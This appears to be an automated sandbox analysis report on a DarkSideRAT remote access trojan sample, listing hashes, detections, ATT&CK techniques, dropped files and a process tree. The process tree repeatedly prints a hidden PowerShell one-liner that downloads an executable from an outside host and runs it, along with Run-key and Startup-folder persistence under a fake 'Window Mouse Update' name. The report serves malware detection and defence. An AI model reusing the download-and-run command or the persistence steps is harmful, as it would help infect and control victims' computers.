darksiderat | c97367ab7ec677361ec252d8a48b7ac7768e9855a0b9c0dba1333b596de40df7

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 06:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe
Size 464KB
Sample260826-gs34msgq3v
SHA256 c97367ab7ec677361ec252d8a48b7ac7768e9855a0b9c0dba1333b596de40df7
MD5 dd3e3706aac38ee8d8ea4f3139561df8
SHA1 d481f1b5c2ee107833e110c29483fed4bfb44511
SHA512 0245144afdc30417a5ac781bc77d106190911ecf1b2c3200709b2321559f1fb28432d5de16a26e31ad8a8f008993a2186b3dbf1b8152a8eea4cc317e53fb6303
SSDEEP 6144:0tRkhZpK0UcAT4RacXEBlZgsYfMWJBuELqi3v73k1PdMisLjdgtz0KsPu/tf:W8pKWRRaFgHeE9o1tEhgtz0Xu
TLSH
T194A45C66665804FCE1B7D2B8CA174903E772B84A0371ABDF03D0A9721F176E59E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat persistence privilege_escalation trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x001200000001c540-20.dat	family_darksiderat

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x001100000001c545-28.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4800	powershell.exe
5	4112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4800	powershell.exe
4112	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	4800	powershell.exe
5	4112	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Window Mouse Update.lnk	Window Mouse Update.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Window Mouse Update.lnk	2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe

Executes dropped EXE 3 IoCs

pid	Process
2524	BK247301.exe
4820	Window Mouse Update.exe
2116	BK247301.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\Window Mouse Update = "C:\\Users\\Admin\\AppData\\Roaming\\Window Mouse Update.exe"	2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-189034102-168398478-1159367937-1000\Software\Microsoft\Windows\CurrentVersion\Run\Window Mouse Update = "C:\\Users\\Admin\\AppData\\Roaming\\Window Mouse Update.exe"	Window Mouse Update.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com
4	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4536	cmd.exe
5072	cmd.exe
1992	cmd.exe
4140	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4800	powershell.exe
4800	powershell.exe
4112	powershell.exe
4112	powershell.exe
4112	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 1992	1684	2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe	89
PID 1992 wrote to memory of 4140	1992	cmd.exe	91
PID 4140 wrote to memory of 4800	4140	cmd.exe	93
PID 4800 wrote to memory of 2524	4800	powershell.exe	94
PID 4820 wrote to memory of 4536	4820	Window Mouse Update.exe	100
PID 4536 wrote to memory of 5072	4536	cmd.exe	102
PID 5072 wrote to memory of 4112	5072	cmd.exe	104
PID 4112 wrote to memory of 2116	4112	powershell.exe	105

C:\Users\Admin\AppData\Local\Temp\2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_dd3e3706aac38ee8d8ea4f3139561df8_cobalt-strike_icedid_njrat_satacom_stealc.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4800
    - - C:\Users\Admin\AppData\Local\Temp\BK247301.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK247301.exe"
        5⤵
        Executes dropped EXE
        
        PID:2524

C:\Users\Admin\AppData\Roaming\Window Mouse Update.exe
"C:\Users\Admin\AppData\Roaming\Window Mouse Update.exe"
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK247301.exe; Start-Process -FilePath $env:TEMP\BK247301.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4112
    - - C:\Users\Admin\AppData\Local\Temp\BK247301.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK247301.exe"
        5⤵
        Executes dropped EXE
        
        PID:2116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e7183def1d29fd0395cd78b009e2f8b5e4f480395cf2985ccbc0322108a84822
MD5 29306a677d74adb5fff04743e73442dc
SHA1 c5dc81d098e4886febc7d7945933aff03157db88
SHA512 b91331628ce3096d47af64b27e4ca74a0d6ad7aeecbde9afe14d0ee73c380c5e6f262b8fa3fa7177b83c408f05d1a38acb9e3a4c9e32f9fc698225221918f2be
TLSH
T1A9217F37B3DC8714DC9A413A50CDAC1036B5C7D7419ECF6B7B84D544B42F599DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

BK247301.exe

Path C:\Users\Admin\AppData\Local\Temp\BK247301.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Window Mouse Update.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Window Mouse Update.lnk
Size 983B
SHA256 a5d9109e53a98bf77717a5fb2ca69046b4ebb3fbed6e7902e930b50858988434
MD5 5fe69b0c0edfafdcc4d0e9242e48eb87
SHA1 8ff387fccc12ef60b0c09baa939cdb2e4a57c2d8
SHA512 9fcc0f2f1504b8addb1a1f11c6ae9ac89d8f893956918c6cc89e0cf2410b1a0b8bbe07c7587907f2ab85033a6ff681c9e7e0231ec9df25a2c3d1ea96a3a5e0a2
TLSH
T1D711EF4134F05B59CBB73676017E17609137F924BA31C78D4640A08C1D01B21C868F2F
MD5 SHA1 SHA512 TLSH

Submit Download

Window Mouse Update.exe

Path C:\Users\Admin\AppData\Roaming\Window Mouse Update.exe
Size 464KB
SHA256 c97367ab7ec677361ec252d8a48b7ac7768e9855a0b9c0dba1333b596de40df7
MD5 dd3e3706aac38ee8d8ea4f3139561df8
SHA1 d481f1b5c2ee107833e110c29483fed4bfb44511
SHA512 0245144afdc30417a5ac781bc77d106190911ecf1b2c3200709b2321559f1fb28432d5de16a26e31ad8a8f008993a2186b3dbf1b8152a8eea4cc317e53fb6303
SSDEEP 6144:0tRkhZpK0UcAT4RacXEBlZgsYfMWJBuELqi3v73k1PdMisLjdgtz0KsPu/tf:W8pKWRRaFgHeE9o1tEhgtz0Xu
TLSH
T194A45C66665804FCE1B7D2B8CA174903E772B84A0371ABDF03D0A9721F176E59E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4112-41-0x000001AC76550000-0x000001AC7657D000-memory.dmp

Download

memory/4800-12-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-14-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-9-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-10-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-11-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-0-0x00007FF914D7F000-0x00007FF914D80000-memory.dmp

Download

memory/4800-13-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-8-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-7-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-25-0x0000027BF3AF0000-0x0000027BF3B1D000-memory.dmp

Download

memory/4800-26-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-16-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-6-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-5-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download

memory/4800-3-0x0000027BDB940000-0x0000027BDB962000-memory.dmp

Download

memory/4800-4-0x00007FF914BF0000-0x00007FF915594000-memory.dmp

Download